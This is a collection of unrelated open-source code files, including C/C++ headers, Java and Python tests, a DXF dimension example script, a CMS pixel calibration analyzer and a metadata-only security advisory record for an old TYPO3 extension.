#elif defined(__SUNPRO_CC) // // SUN Forte C++ // typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; typedef signed long IntPtr; typedef unsigned long UIntPtr; #if defined(__sparcv9) #define POCO_PTR_IS_64_BIT 1 #define POCO_LONG_IS_64_BIT 1 typedef signed long Int64; typedef unsigned long UInt64; #else typedef signed long long Int64; typedef unsigned long long UInt64; #endif #define POCO_HAVE_INT64 1 #elif defined(__IBMCPP__) // // IBM XL C++ // typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; typedef signed long IntPtr; typedef unsigned long UIntPtr; #if defined(__64BIT__) #define POCO_PTR_IS_64_BIT 1 #define POCO_LONG_IS_64_BIT 1 typedef signed long Int64; typedef unsigned long UInt64; #else typedef signed long long Int64; typedef unsigned long long UInt64; #endif #define POCO_HAVE_INT64 1 #elif defined(__sgi) // // MIPSpro C++ // typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; typedef signed long IntPtr; typedef unsigned long UIntPtr; #if _MIPS_SZLONG == 64 #define POCO_PTR_IS_64_BIT 1 #define POCO_LONG_IS_64_BIT 1 typedef signed long Int64; typedef unsigned long UInt64; #else typedef signed long long Int64; typedef unsigned long long UInt64; #endif #define POCO_HAVE_INT64 1 #elif defined(_DIAB_TOOL) typedef signed char Int8; typedef unsigned char UInt8; typedef signed short Int16; typedef unsigned short UInt16; typedef signed int Int32; typedef unsigned int UInt32; typedef signed long IntPtr; typedef unsigned long UIntPtr; typedef signed long long Int64; typedef unsigned long long UInt64; #define POCO_HAVE_INT64 1 #endif } // namespace Poco #endif // Foundation_Types_INCLUDED
2,805
303
<gh_stars>100-1000 /* Copyright (C) 2005-2011 <NAME> */ // local #include "LC_WinError.h" #include "LC_WinUtils.h" /** * Given a Windows error code, format an error message string. The string * returned is from a static buffer, so this is not thread-safe. */ char const* LC_formatError( char const *what, DWORD errorCode ) { LPVOID lpMsgBuf; ::FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, errorCode, MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ), (LPTSTR)&lpMsgBuf, 0, NULL ); WCHAR wMsgBuf[ 256 ]; ::wsprintf( wMsgBuf, TEXT("%s failed (error %d): %ls"), what, errorCode, lpMsgBuf ); ::LocalFree( lpMsgBuf ); static char aMsgBuf[ 256 ]; LC_toUTF8( wMsgBuf, aMsgBuf, sizeof aMsgBuf ); return aMsgBuf; } /* vim:set et sw=4 ts=4: */
378
1,475
/* * Licensed to the Apache Software Foundation (ASF) under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional information regarding * copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the License. You may obtain a * copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package org.apache.geode.internal.cache.wan; import static org.assertj.core.api.Assertions.assertThat; import static org.mockito.Mockito.RETURNS_DEEP_STUBS; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; import java.util.ArrayList; import java.util.List; import org.junit.Before; import org.junit.Test; import org.apache.geode.distributed.internal.DistributionManager; import org.apache.geode.distributed.internal.membership.InternalDistributedMember; import org.apache.geode.internal.cache.GemFireCacheImpl; import org.apache.geode.internal.cache.InitialImageOperation; import org.apache.geode.internal.cache.InternalRegion; public class GatewaySenderQueueEntrySynchronizationOperationTest { private DistributionManager distributionManager; private InternalDistributedMember recipient; private GatewaySenderQueueEntrySynchronizationOperation operation; private InternalRegion region; private GemFireCacheImpl cache; @Before public void setup() { distributionManager = mock(DistributionManager.class, RETURNS_DEEP_STUBS); recipient = mock(InternalDistributedMember.class); region = mock(InternalRegion.class); cache = mock(GemFireCacheImpl.class); } @Test public void ReplyProcessorGetCacheDelegateToDistributionManager() { operation = mock(GatewaySenderQueueEntrySynchronizationOperation.class); GatewaySenderQueueEntrySynchronizationOperation.GatewaySenderQueueEntrySynchronizationReplyProcessor processor = new GatewaySenderQueueEntrySynchronizationOperation.GatewaySenderQueueEntrySynchronizationReplyProcessor( distributionManager, recipient, operation); when(distributionManager.getCache()).thenReturn(cache); assertThat(processor.getCache()).isEqualTo(cache); } @Test public void GatewaySenderQueueEntrySynchronizationOperationGetCacheDelegateToDistributionManager() { InitialImageOperation.Entry entry = mock(InitialImageOperation.Entry.class); List<InitialImageOperation.Entry> list = new ArrayList<>(); list.add(entry); operation = new GatewaySenderQueueEntrySynchronizationOperation(recipient, region, list); when(region.getDistributionManager()).thenReturn(distributionManager); when(distributionManager.getCache()).thenReturn(cache); assertThat(operation.getCache()).isEqualTo(cache); } }
878
2,494
<reponame>ktrzeciaknubisa/jxcore-binary-packaging /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * pkix_crlselector.h * * CrlSelector Object Type Definition * */ #ifndef _PKIX_CRLSELECTOR_H #define _PKIX_CRLSELECTOR_H #include "pkix_tools.h" #ifdef __cplusplus extern "C" { #endif struct PKIX_CRLSelectorStruct { PKIX_CRLSelector_MatchCallback matchCallback; PKIX_ComCRLSelParams *params; PKIX_PL_Object *context; }; /* see source file for function documentation */ PKIX_Error *pkix_CRLSelector_RegisterSelf(void *plContext); PKIX_Error * pkix_CRLSelector_Select( PKIX_CRLSelector *selector, PKIX_List *before, PKIX_List **pAfter, void *plContext); #ifdef __cplusplus } #endif #endif /* _PKIX_CRLSELECTOR_H */
367
478
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. #pragma once #include "AdaptiveCards.Rendering.Uwp.h" #include "InputValue.h" #include "AdaptiveInputs.g.h" namespace winrt::AdaptiveCards::Rendering::Uwp::implementation { struct AdaptiveInputs : AdaptiveInputsT<AdaptiveInputs> { AdaptiveInputs() = default; // IAdaptiveInputs winrt::JsonObject AsJson(); winrt::ValueSet AsValueSet(); bool ValidateInputs(winrt::IAdaptiveActionElement const& submitAction); void AddInputValue(winrt::IAdaptiveInputValue const& inputValue, winrt::AdaptiveRenderArgs const& renderArgs); void LinkSubmitActionToCard(winrt::IAdaptiveActionElement const& action, winrt::AdaptiveRenderArgs const& renderArgs); void LinkCardToParent(uint32_t cardId, uint32_t parentCardId); Uwp::IAdaptiveInputValue GetInputValue(winrt::IAdaptiveInputElement const& inputElement); private: std::string GetInputItemsAsJsonString(); std::vector<winrt::IAdaptiveInputValue> GetInputsToValidate(winrt::IAdaptiveActionElement const& submitAction); uint32_t GetInternalIdFromAction(winrt::IAdaptiveActionElement const& action); // Map with key: input id, value: input value class // This one has the collection of all input element values, this was introduced to be able to set the error // message to the input value and at the same time, being able to respect custom inputs having error messages std::unordered_map<std::string, winrt::IAdaptiveInputValue> m_inputValues; // This is cache of the last inputs that were retrieved for validation (and succeeded) // This is needed as the AsJson and AsValueSet methods are called after validating but we don't get an action reference to rebuild the list std::vector<winrt::IAdaptiveInputValue> m_lastRetrievedValues; // Map with key: internal id of card, value: internal id of parent card // This map allows us to move vertically accross the cards to retrieve the inputs std::unordered_map<std::size_t, std::size_t> m_parentCard; // Map with key: internal id for submit action, value: internal id of card that contains the action // This is needed so we can get a starting point from where to start retrieving inputs std::unordered_map<std::size_t, std::size_t> m_containerCardForAction; // Map with key: internal id for container card, value: vector of the ids (element property) of the inputs in // the card This is needed to retrieve inputs once we know what cards to look into std::unordered_map<std::size_t, std::vector<std::string>> m_inputsPerCard; }; } namespace winrt::AdaptiveCards::Rendering::Uwp::factory_implementation { struct AdaptiveInputs : AdaptiveInputsT<AdaptiveInputs, implementation::AdaptiveInputs> { }; }
986
1,178
<reponame>leozz37/makani /* * Copyright 2020 Makani Technologies LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef NAV_INS_MESSAGES_SEQ_NUM_H_ #define NAV_INS_MESSAGES_SEQ_NUM_H_ #include <stdbool.h> #include <stdint.h> #ifdef __cplusplus extern "C" { #endif // This structure provides a compact means to communicate the sequence numbers // processed by the algorithm. typedef struct { // The most recent sequence number, valid when the LSB of seq_bitmask is set. uint16_t seq_num; // The seq_bitmask variable describes a shift register of sequence number // updates, where the bit number describes the offset from seq_num. If // seq_num occurs at time k, then seq_bitmask indicates updates for times // k-0, k-1, ..., k-63, where k-0 is the LSB. uint64_t seq_bitmask; } InsSequenceSnapshot; static inline bool InsSequenceGe(uint16_t a, uint16_t b) { return (int16_t)(a - b) >= 0; } static inline bool InsSequenceGt(uint16_t a, uint16_t b) { return (int16_t)(a - b) > 0; } static inline bool InsSequenceLe(uint16_t a, uint16_t b) { return (int16_t)(a - b) <= 0; } static inline bool InsSequenceLt(uint16_t a, uint16_t b) { return (int16_t)(a - b) < 0; } static inline int16_t InsSequenceDiff(uint16_t a, uint16_t b) { return (int16_t)(a - b); } void InsSequenceZeroSnapshot(InsSequenceSnapshot *snapshot); void InsSequenceUpdateSnapshot(uint16_t seq_num, InsSequenceSnapshot *snapshot); #ifdef __cplusplus } // extern "C" #endif #endif // NAV_INS_MESSAGES_SEQ_NUM_H_
701
515
# Purpose: using radius DIMENSION # Copyright (c) 2019-2021, <NAME> # License: MIT License import pathlib import math import ezdxf from ezdxf.math import Vec3, UCS import logging # ======================================== # Setup logging # ======================================== logging.basicConfig(level="WARNING") # ======================================== # Setup your preferred output directory # ======================================== OUTDIR = pathlib.Path("~/Desktop/Outbox").expanduser() if not OUTDIR.exists(): OUTDIR = pathlib.Path() # ======================================== # Default text attributes # ======================================== TEXT_ATTRIBS = { "height": 0.25, "style": ezdxf.options.default_dimension_text_style, } DIM_TEXT_STYLE = ezdxf.options.default_dimension_text_style # ======================================================= # Discarding dimension rendering is possible # for BricsCAD, but is incompatible to AutoCAD -> error # ======================================================= BRICSCAD = False def multiple_locations(delta=10, center=(0, 0)): cx, cy = center return [ (cx + delta, cy), (cx + delta, cy + delta), (cx, cy + delta), (cx - delta, cy + delta), (cx - delta, cy), (cx - delta, cy - delta), (cx, cy - delta), (cx + delta, cy - delta), ] def radius_default_outside(dxfversion="R2000", delta=10): doc = ezdxf.new(dxfversion, setup=True) msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg msp.add_circle((x, y), radius=3) # Default DimStyle EZ_RADIUS: 1 drawing unit == 1m; scale 1: 100; length_factor=100 -> measurement in cm # closed filled arrow, size 0.25 # DIMSTYLE settings: # dimtmove = 1: use leader, is the best setting for text outside to preserve appearance of DIMENSION entity, # if editing afterwards in BricsCAD (AutoCAD) # center: specifies the center of the circle # radius: specifies the radius of the circle # angle: specifies the the orientation (angle) of the dimension line dim = msp.add_radius_dim( center=(x, y), radius=3, angle=angle, dimstyle="EZ_RADIUS" ) # Necessary second step, to create the BLOCK entity with the DIMENSION geometry. # ezdxf supports DXF R2000 attributes for DXF R12 rendering, but they have to be applied by the DIMSTYLE override # feature, this additional attributes are not stored in the XDATA section of the DIMENSION entity, they are just # used to render the DIMENSION entity. # The return value `dim` is not a DIMENSION entity, instead a DimStyleOverride object is returned, the DIMENSION # entity is stored as dim.dimension, see also ezdxf.override.DimStyleOverride class. dim.render(discard=BRICSCAD) doc.set_modelspace_vport(height=3 * delta) doc.saveas(OUTDIR / f"dim_radius_{dxfversion}_default_outside.dxf") def radius_default_inside(dxfversion="R2000", delta=10, dimtmove=0): def add_dim(x, y, dimtad): msp.add_circle((x, y), radius=3) dim = msp.add_radius_dim( center=(x, y), radius=3, angle=angle, dimstyle="EZ_RADIUS_INSIDE", override={ "dimtad": dimtad, }, ) dim.render(discard=BRICSCAD) doc = ezdxf.new(dxfversion, setup=True) style = doc.dimstyles.get("EZ_RADIUS_INSIDE") style.dxf.dimtmove = dimtmove # Default DimStyle EZ_RADIUS_INSIDE: 1 drawing unit == 1m; scale 1: 100; length_factor=100 -> measurement in cm # closed filled arrow, size 0.25 # DIMSTYLE settings: # dimtmove = 0: keep dim line with text, is the best setting for text inside to preserve appearance of # DIMENSION entity, if editing afterwards in BricsCAD (AutoCAD) # dimtix = 1: force text inside # dimatfit = 0: force text inside, required by BricsCAD (AutoCAD) # dimtad = 0: center text vertical, BricsCAD (AutoCAD) always creates vertical centered text, # ezdxf let you choose the vertical placement (above, below, center), # but editing the DIMENSION in BricsCAD will reset text to center placement. msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg add_dim(x, y, dimtad=1) # above add_dim(x + 3 * delta, y, dimtad=0) # center add_dim(x + 6 * delta, y, dimtad=4) # below doc.set_modelspace_vport(height=3 * delta) doc.saveas( OUTDIR / f"dim_radius_{dxfversion}_default_inside_dimtmove_{dimtmove}.dxf" ) def radius_default_outside_horizontal(dxfversion="R2000", delta=10): def add_dim(x, y, dimtad): msp.add_circle((x, y), radius=3) dim = msp.add_radius_dim( center=(x, y), radius=3, angle=angle, dimstyle="EZ_RADIUS", override={ "dimtoh": 1, # force text outside horizontal "dimtad": dimtad, }, ) dim.render(discard=BRICSCAD) doc = ezdxf.new(dxfversion, setup=True) msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg add_dim(x, y, dimtad=1) # above add_dim(x + 3 * delta, y, dimtad=0) # center add_dim(x + 6 * delta, y, dimtad=4) # below doc.set_modelspace_vport(height=3 * delta, center=(4.5 * delta, 0)) doc.saveas( OUTDIR / f"dim_radius_{dxfversion}_default_outside_horizontal.dxf" ) def radius_default_inside_horizontal(dxfversion="R2000", delta=10, dimtmove=0): doc = ezdxf.new(dxfversion, setup=True) style = doc.dimstyles.get("EZ_RADIUS_INSIDE") style.dxf.dimtmove = dimtmove msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg msp.add_circle((x, y), radius=3) dim = msp.add_radius_dim( center=(x, y), radius=3, angle=angle, dimstyle="EZ_RADIUS_INSIDE", override={ "dimtih": 1, # force text inside horizontal }, ) dim.render(discard=BRICSCAD) doc.set_modelspace_vport(height=3 * delta) doc.saveas( OUTDIR / f"dim_radius_{dxfversion}_default_inside_horizontal_dimtmove_{dimtmove}.dxf" ) def radius_user_defined_outside(dxfversion="R2000", delta=15): def add_dim(x, y, radius, dimtad): center = Vec3(x, y) msp.add_circle((x, y), radius=3) dim_location = center + Vec3.from_deg_angle(angle, radius) dim = msp.add_radius_dim( center=(x, y), radius=3, location=dim_location, dimstyle="EZ_RADIUS", override={ "dimtad": dimtad, }, ) dim.render(discard=BRICSCAD) doc = ezdxf.new(dxfversion, setup=True) msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg add_dim(x, y, 5, dimtad=1) # above add_dim(x + 3 * delta, y, 5, dimtad=0) # center add_dim(x + 6 * delta, y, 5, dimtad=4) # below doc.set_modelspace_vport(height=3 * delta, center=(4.5 * delta, 0)) doc.saveas(OUTDIR / f"dim_radius_{dxfversion}_user_defined_outside.dxf") def radius_user_defined_outside_horizontal(dxfversion="R2000", delta=15): def add_dim(x, y, radius, dimtad): center = Vec3(x, y) msp.add_circle((x, y), radius=3) dim_location = center + Vec3.from_deg_angle(angle, radius) dim = msp.add_radius_dim( center=(x, y), radius=3, location=dim_location, dimstyle="EZ_RADIUS", override={ "dimtad": dimtad, "dimtoh": 1, # force text outside horizontal }, ) dim.render(discard=BRICSCAD) doc = ezdxf.new(dxfversion, setup=True) msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg add_dim(x, y, 5, dimtad=1) # above add_dim(x + 3 * delta, y, 5, dimtad=0) # center add_dim(x + 6 * delta, y, 5, dimtad=4) # below doc.set_modelspace_vport(height=3 * delta, center=(4.5 * delta, 0)) doc.saveas( OUTDIR / f"dim_radius_{dxfversion}_user_defined_outside_horizontal.dxf" ) def radius_user_defined_inside(dxfversion="R2000", delta=10, dimtmove=0): def add_dim(x, y, radius, dimtad): center = Vec3(x, y) msp.add_circle((x, y), radius=3) dim_location = center + Vec3.from_deg_angle(angle, radius) dim = msp.add_radius_dim( center=(x, y), radius=3, location=dim_location, dimstyle="EZ_RADIUS", override={ "dimtad": dimtad, }, ) dim.render(discard=BRICSCAD) doc = ezdxf.new(dxfversion, setup=True) style = doc.dimstyles.get("EZ_RADIUS") style.dxf.dimtmove = dimtmove msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg add_dim(x, y, 1, dimtad=1) # above add_dim(x + 3 * delta, y, 1, dimtad=0) # center add_dim(x + 6 * delta, y, 1, dimtad=4) # below doc.set_modelspace_vport(height=3 * delta, center=(4.5 * delta, 0)) doc.saveas( OUTDIR / f"dim_radius_{dxfversion}_user_defined_inside_dimtmove_{dimtmove}.dxf" ) def radius_user_defined_inside_horizontal(dxfversion="R2000", delta=10): def add_dim(x, y, radius, dimtad): center = Vec3(x, y) msp.add_circle((x, y), radius=3) dim_location = center + Vec3.from_deg_angle(angle, radius) dim = msp.add_radius_dim( center=(x, y), radius=3, location=dim_location, dimstyle="EZ_RADIUS", override={ "dimtad": dimtad, "dimtih": 1, # force text inside horizontal }, ) dim.render(discard=BRICSCAD) doc = ezdxf.new(dxfversion, setup=True) msp = doc.modelspace() for x, y in multiple_locations(delta=delta): angle = Vec3(x, y).angle_deg add_dim(x, y, 1, dimtad=1) # above add_dim(x + 3 * delta, y, 1, dimtad=0) # center add_dim(x + 6 * delta, y, 1, dimtad=4) # below doc.set_modelspace_vport(height=3 * delta, center=(4.5 * delta, 0)) doc.saveas( OUTDIR / f"dim_radius_{dxfversion}_user_defined_inside_horizontal.dxf" ) def radius_3d(dxfversion="R2000", delta=10): doc = ezdxf.new(dxfversion, setup=True) msp = doc.modelspace() for x, y in multiple_locations(delta=delta): ucs = UCS(origin=(x, y, 0)).rotate_local_x(math.radians(45)) angle = Vec3(x, y).angle_deg msp.add_circle((0, 0), radius=3).transform(ucs.matrix) dim = msp.add_radius_dim( center=(0, 0), radius=3, angle=angle, dimstyle="EZ_RADIUS" ) dim.render(discard=BRICSCAD, ucs=ucs) doc.set_modelspace_vport(height=3 * delta) doc.saveas(OUTDIR / f"dim_radius_{dxfversion}_3d.dxf") if __name__ == "__main__": radius_default_outside() radius_default_inside(dimtmove=0) # dimline from center radius_default_inside(dimtmove=1) # dimline from text radius_default_outside_horizontal() radius_default_inside_horizontal(dimtmove=0) # dimline from center radius_default_inside_horizontal(dimtmove=1) # dimline from text radius_user_defined_outside() radius_user_defined_outside_horizontal() radius_user_defined_inside(dimtmove=0) # dimline from text, also for 1 radius_user_defined_inside(dimtmove=2) # dimline from center radius_user_defined_inside_horizontal() radius_3d()
5,478
811
<filename>tests/data/element_content_replacement/css3-modsel-176-info.json { "description": "Element content replacement - Combinations: classes and IDs (css3-modsel-176)", "selectors": { "p": "css3-modsel-176.expected0.html", "p:not(#other).class:not(.fail).test#id#id": "css3-modsel-176.expected1.html", "div": "css3-modsel-176.expected2.html", "div:not(#theid).class:not(.fail).test#theid#theid": "css3-modsel-176.expected3.html", "div:not(#other).notclass:not(.fail).test#theid#theid": "css3-modsel-176.expected4.html", "div:not(#other).class:not(.test).test#theid#theid": "css3-modsel-176.expected5.html", "div:not(#other).class:not(.fail).nottest#theid#theid": "css3-modsel-176.expected6.html", "div:not(#other).class:not(.fail).nottest#theid#other": "css3-modsel-176.expected7.html" }, "src": "css3-modsel-176.src.html" }
371
956
<reponame>timgates42/trex-core<gh_stars>100-1000 from trex.stl.trex_stl_hltapi import STLHltStream class STLS1(object): ''' Eth/IPv6/UDP stream with VM, to change the ipv6 addr (only 32 lsb) Has per-stream stats. ''' def get_streams (self, direction = 0, **kwargs): return STLHltStream(l3_protocol = 'ipv6', l3_length = 150, l4_protocol = 'udp', flow_stats_id = 23, ipv6_src_addr = 'fc00:db20:35b:7399::5', ipv6_dst_addr = 'fc00:e968:6179::de52:7100', ipv6_src_mode = 'increment', ipv6_src_step = 5, ipv6_src_count = 10, ipv6_dst_mode = 'decrement', ipv6_dst_step = 'fd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b', ipv6_dst_count = 150, ) # dynamic load - used for trex console or simulator def register(): return STLS1()
516
3,000
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT license. package com.mojang.brigadier.arguments; import com.google.common.testing.EqualsTester; import com.mojang.brigadier.StringReader; import com.mojang.brigadier.context.CommandContextBuilder; import com.mojang.brigadier.exceptions.CommandSyntaxException; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.runners.MockitoJUnitRunner; import static com.mojang.brigadier.arguments.DoubleArgumentType.doubleArg; import static org.hamcrest.Matchers.hasToString; import static org.hamcrest.Matchers.is; import static org.junit.Assert.assertThat; import static org.junit.Assert.fail; @RunWith(MockitoJUnitRunner.class) public class DoubleArgumentTypeTest { private DoubleArgumentType type; @Mock private CommandContextBuilder<Object> context; @Before public void setUp() throws Exception { type = doubleArg(-100, 100); } @Test public void parse() throws Exception { final StringReader reader = new StringReader("15"); assertThat(doubleArg().parse(reader), is(15.0)); assertThat(reader.canRead(), is(false)); } @Test public void parse_tooSmall() throws Exception { final StringReader reader = new StringReader("-5"); try { doubleArg(0, 100).parse(reader); fail(); } catch (final CommandSyntaxException ex) { assertThat(ex.getType(), is(CommandSyntaxException.BUILT_IN_EXCEPTIONS.doubleTooLow())); assertThat(ex.getCursor(), is(0)); } } @Test public void parse_tooBig() throws Exception { final StringReader reader = new StringReader("5"); try { doubleArg(-100, 0).parse(reader); fail(); } catch (final CommandSyntaxException ex) { assertThat(ex.getType(), is(CommandSyntaxException.BUILT_IN_EXCEPTIONS.doubleTooHigh())); assertThat(ex.getCursor(), is(0)); } } @Test public void testEquals() throws Exception { new EqualsTester() .addEqualityGroup(doubleArg(), doubleArg()) .addEqualityGroup(doubleArg(-100, 100), doubleArg(-100, 100)) .addEqualityGroup(doubleArg(-100, 50), doubleArg(-100, 50)) .addEqualityGroup(doubleArg(-50, 100), doubleArg(-50, 100)) .testEquals(); } @Test public void testToString() throws Exception { assertThat(doubleArg(), hasToString("double()")); assertThat(doubleArg(-100), hasToString("double(-100.0)")); assertThat(doubleArg(-100, 100), hasToString("double(-100.0, 100.0)")); assertThat(doubleArg(Integer.MIN_VALUE, 100), hasToString("double(-2.147483648E9, 100.0)")); } }
1,126
852
// -*- C++ -*- // // Package: SiPixelCalibConfigurationReadDb // Class: SiPixelCalibConfigurationReadDb // /**\class SiPixelCalibConfigurationReadDb SiPixelCalibConfigurationReadDb.cc CalibTracker/SiPixelTools/plugins/SiPixelCalibConfigurationReadDb.cc Description: <one line class summary> Implementation: <Notes on implementation> */ // // Original Author: <NAME> // Created: Thu Sep 20 12:13:20 CEST 2007 // $Id: SiPixelCalibConfigurationReadDb.cc,v 1.2 2009/02/10 09:27:50 fblekman Exp $ // // // system include files #include <memory> // user include files #include "FWCore/Framework/interface/one/EDAnalyzer.h" #include "FWCore/Framework/interface/EventSetup.h" #include "FWCore/Framework/interface/MakerMacros.h" #include "CondFormats/SiPixelObjects/interface/SiPixelCalibConfiguration.h" #include "FWCore/Framework/interface/ESHandle.h" #include "CondFormats/DataRecord/interface/SiPixelCalibConfigurationRcd.h" #include <iostream> // // class decleration // class SiPixelCalibConfigurationReadDb : public edm::one::EDAnalyzer<> { public: explicit SiPixelCalibConfigurationReadDb(const edm::ParameterSet&); ~SiPixelCalibConfigurationReadDb() override; private: const edm::ESGetToken<SiPixelCalibConfiguration, SiPixelCalibConfigurationRcd> calibConfigToken; void analyze(const edm::Event&, const edm::EventSetup&) override; // ----------member data --------------------------- bool verbose_; }; // // constants, enums and typedefs // // // static data member definitions // // // constructors and destructor // SiPixelCalibConfigurationReadDb::SiPixelCalibConfigurationReadDb(const edm::ParameterSet& iConfig) : calibConfigToken(esConsumes()), verbose_(iConfig.getParameter<bool>("verbosity")) { //now do what ever initialization is needed } SiPixelCalibConfigurationReadDb::~SiPixelCalibConfigurationReadDb() = default; // // member functions // // ------------ method called to for each event ------------ void SiPixelCalibConfigurationReadDb::analyze(const edm::Event& iEvent, const edm::EventSetup& iSetup) { using namespace edm; LogInfo("") << " examining SiPixelCalibConfiguration database object..." << std::endl; const SiPixelCalibConfiguration* calib = &iSetup.getData(calibConfigToken); edm::LogPrint("SiPixelCalibConfigurationReadDb") << "calibration type: " << calib->getCalibrationMode() << std::endl; edm::LogPrint("SiPixelCalibConfigurationReadDb") << "number of triggers: " << calib->getNTriggers() << std::endl; std::vector<short> vcalvalues = calib->getVCalValues(); edm::LogPrint("SiPixelCalibConfigurationReadDb") << "number of VCAL: " << vcalvalues.size() << std::endl; int ngoodcols = 0; int ngoodrows = 0; for (uint32_t i = 0; i < vcalvalues.size(); ++i) { if (verbose_) { edm::LogPrint("SiPixelCalibConfigurationReadDb") << "Vcal values " << i << "," << i + 1 << " : " << vcalvalues[i] << ","; } ++i; if (verbose_) { if (i < vcalvalues.size()) edm::LogPrint("SiPixelCalibConfigurationReadDb") << vcalvalues[i]; edm::LogPrint("SiPixelCalibConfigurationReadDb") << std::endl; } } if (verbose_) edm::LogPrint("SiPixelCalibConfigurationReadDb") << "column patterns:" << std::endl; for (uint32_t i = 0; i < calib->getColumnPattern().size(); ++i) { if (calib->getColumnPattern()[i] != -1) { if (verbose_) edm::LogPrint("SiPixelCalibConfigurationReadDb") << calib->getColumnPattern()[i]; ngoodcols++; } if (verbose_) { if (i != 0) edm::LogPrint("SiPixelCalibConfigurationReadDb") << " "; if (calib->getColumnPattern()[i] == -1) edm::LogPrint("SiPixelCalibConfigurationReadDb") << "- "; } } if (verbose_) { edm::LogPrint("SiPixelCalibConfigurationReadDb") << std::endl; edm::LogPrint("SiPixelCalibConfigurationReadDb") << "row patterns:" << std::endl; } for (uint32_t i = 0; i < calib->getRowPattern().size(); ++i) { if (calib->getRowPattern()[i] != -1) { if (verbose_) edm::LogPrint("SiPixelCalibConfigurationReadDb") << calib->getRowPattern()[i]; ngoodrows++; } if (verbose_) { if (i != 0) edm::LogPrint("SiPixelCalibConfigurationReadDb") << " "; if (calib->getRowPattern()[i] == -1) edm::LogPrint("SiPixelCalibConfigurationReadDb") << "- "; } } if (verbose_) { edm::LogPrint("SiPixelCalibConfigurationReadDb") << std::endl; edm::LogPrint("SiPixelCalibConfigurationReadDb") << "number of row patterns: " << ngoodrows << std::endl; edm::LogPrint("SiPixelCalibConfigurationReadDb") << "number of column patterns: " << ngoodcols << std::endl; } edm::LogPrint("SiPixelCalibConfigurationReadDb") << "this payload is designed to run on " << vcalvalues.size() * ngoodcols * ngoodrows * calib->getNTriggers() << " events." << std::endl; } //define this as a plug-in DEFINE_FWK_MODULE(SiPixelCalibConfigurationReadDb);
1,792
892
<gh_stars>100-1000 { "schema_version": "1.2.0", "id": "GHSA-fx8p-65qg-hm72", "modified": "2022-05-02T03:59:54Z", "published": "2022-05-02T03:59:54Z", "aliases": [ "CVE-2009-4951" ], "details": "Unspecified vulnerability in the ClickStream Analyzer [output] (alternet_csa_out) extension 0.3.0 and earlier for TYPO3 allows remote attackers to obtain sensitive information via unknown vectors.", "severity": [ ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4951" }, { "type": "WEB", "url": "http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-005/" } ], "database_specific": { "cwe_ids": [ "CWE-200" ], "severity": "MODERATE", "github_reviewed": false } }
369
12,278
// Copyright 2018 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef V8_D8_D8_PLATFORMS_H_ #define V8_D8_D8_PLATFORMS_H_ #include <cstdint> #include <memory> namespace v8 { class Platform; // Returns a predictable v8::Platform implementation. // orker threads are disabled, idle tasks are disallowed, and the time reported // by {MonotonicallyIncreasingTime} is deterministic. std::unique_ptr<Platform> MakePredictablePlatform( std::unique_ptr<Platform> platform); // Returns a v8::Platform implementation which randomly delays tasks (both // foreground and background) for stress-testing different interleavings. // If {random_seed} is 0, a random seed is chosen. std::unique_ptr<Platform> MakeDelayedTasksPlatform( std::unique_ptr<Platform> platform, int64_t random_seed); } // namespace v8 #endif // V8_D8_D8_PLATFORMS_H_
301
445
<gh_stars>100-1000 /* Tracing support for CGEN-based simulators. Copyright (C) 1996-2019 Free Software Foundation, Inc. Contributed by Cygnus Support. This file is part of GDB, the GNU debugger. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "config.h" #include <errno.h> #include "dis-asm.h" #include "bfd.h" #include "sim-main.h" #include "sim-fpu.h" #ifndef SIZE_INSTRUCTION #define SIZE_INSTRUCTION 16 #endif #ifndef SIZE_LOCATION #define SIZE_LOCATION 20 #endif #ifndef 